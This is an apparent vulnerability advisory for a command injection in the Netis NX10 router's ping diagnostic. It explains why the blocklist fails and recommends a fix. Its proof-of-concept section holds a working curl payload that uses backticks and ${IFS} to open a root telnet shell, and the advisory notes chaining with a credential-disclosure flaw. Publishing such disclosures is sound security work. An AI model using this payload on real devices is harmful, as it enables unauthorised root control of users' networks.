> ## Documentation Index
> Fetch the complete documentation index at: https://hackwithmike.com/llms.txt
> Use this file to discover all available pages before exploring further.

# CVE-2026-61517: OS Command Injection in Netis NX10 pingHandler

> Insufficient filtering of the IpAddr parameter in the Netis NX10 pingHandler allows an authenticated administrator to execute commands as root.

## Summary

The `pingHandler` function in the Netis NX10 `bin/netis.cgi` binary interpolates the attacker-controlled `IpAddr` parameter into a shell command executed through `system()`. Its input filter blocks only space, pipe, semicolon, and ampersand characters. Other shell syntax remains available, allowing an authenticated administrator to execute arbitrary commands as root.

When chained with [CVE-2026-61516](/research/advisories/netis/cve-2026-61516), an attacker can obtain the required administrator session without credentials.

| Field              | Details                                                                   |
| ------------------ | ------------------------------------------------------------------------- |
| CVE                | CVE-2026-61517                                                            |
| Product            | Netis NX10 (AX1500 Wi-Fi 6 router)                                        |
| Weakness           | CWE-78: Improper Neutralization of Special Elements Used in an OS Command |
| Confirmed firmware | V4.0.1.5808 and V3.0.0.4142                                               |
| Required access    | Administrator session; none when chained with CVE-2026-61516              |
| Execution context  | Root                                                                      |
| CVSS               | Pending CNA publication                                                   |
| Fix status         | No vendor fix confirmed                                                   |

<Note>
  VulnCheck assigned this ID and stated that it will populate the CVE record after public disclosure. The public record was not yet available when this advisory was published.
</Note>

## Affected components

* `/web/cgi-bin/skk_set.cgi` — dispatches the `tools_set` action
* `bin/netis.cgi` — contains the vulnerable `pingHandler`

## Technical details

A `tools_set=1&type=1` request reaches the ping diagnostic. `pingHandler` reads the `IpAddr` parameter and rejects only these bytes:

| Character | Byte   |
| --------- | ------ |
| Space     | `0x20` |
| Pipe      | `0x7c` |
| Semicolon | `0x3b` |
| Ampersand | `0x26` |

The handler then constructs and executes a command equivalent to:

```c wrap theme={null}
sprintf(command, "ping -c 4 -s 56 %s -W 1000 > %s &", ipAddr, outputFile);
system(command);
```

The blocklist does not prevent command substitution or shell expansion. Backticks remain valid, and `${IFS}` supplies whitespace without containing a literal space.

## Proof of concept

With an administrator session stored in `./jar`, the following request starts a root shell on TCP port 4444:

```bash wrap theme={null}
curl -s -b ./jar -X POST \
  "http://ROUTER/web/cgi-bin/skk_set.cgi" \
  --data "tools_set=1&type=1" \
  --data-urlencode 'IpAddr=`telnetd${IFS}-l${IFS}/bin/sh${IFS}-p${IFS}4444`'

telnet ROUTER 4444
```

Run `killall telnetd` inside the shell after testing. Execution as UID 0 was confirmed through `/proc/self/status` on V4.0.1.5808.

## Impact

Successful exploitation gives the attacker arbitrary command execution as root, allowing complete control of the router, its configuration, network services, and traffic. The attacker can install persistence, redirect DNS or routes, recover stored secrets, monitor traffic, and pivot toward other LAN systems.

The command-injection issue requires an administrator session by itself. The separately assigned credential-disclosure vulnerability removes that prerequisite in affected deployments.

## Remediation

Validate `IpAddr` as a structured IP address or hostname. Use `inet_pton` when only IPv4 or IPv6 addresses are required; otherwise enforce a strict hostname allowlist such as letters, digits, dots, and hyphens with appropriate length and label checks.

Do not pass user-controlled data through a shell. Invoke `ping` with an argument array through an `execve`-style interface. Expanding the current blocklist is insufficient because shells provide many alternative expansion and command-separation mechanisms.

## References

* [Research article: Netis NX10 unauthenticated root RCE chain](/research/netis/2026-09)
* [CVE-2026-61516 credential-disclosure advisory](/research/advisories/netis/cve-2026-61516)
* [Netis NX10 product page](https://www.netis-systems.com/products/NX10.html)
* [Netis NX10 V3 firmware download](https://www.netis-systems.com/support/downinfo.html?id=33)
* [Netis NX10 V4 firmware download](https://www.netisru.com/support/downinfo.html?id=33)
* [CVE record](https://www.cve.org/CVERecord?id=CVE-2026-61517)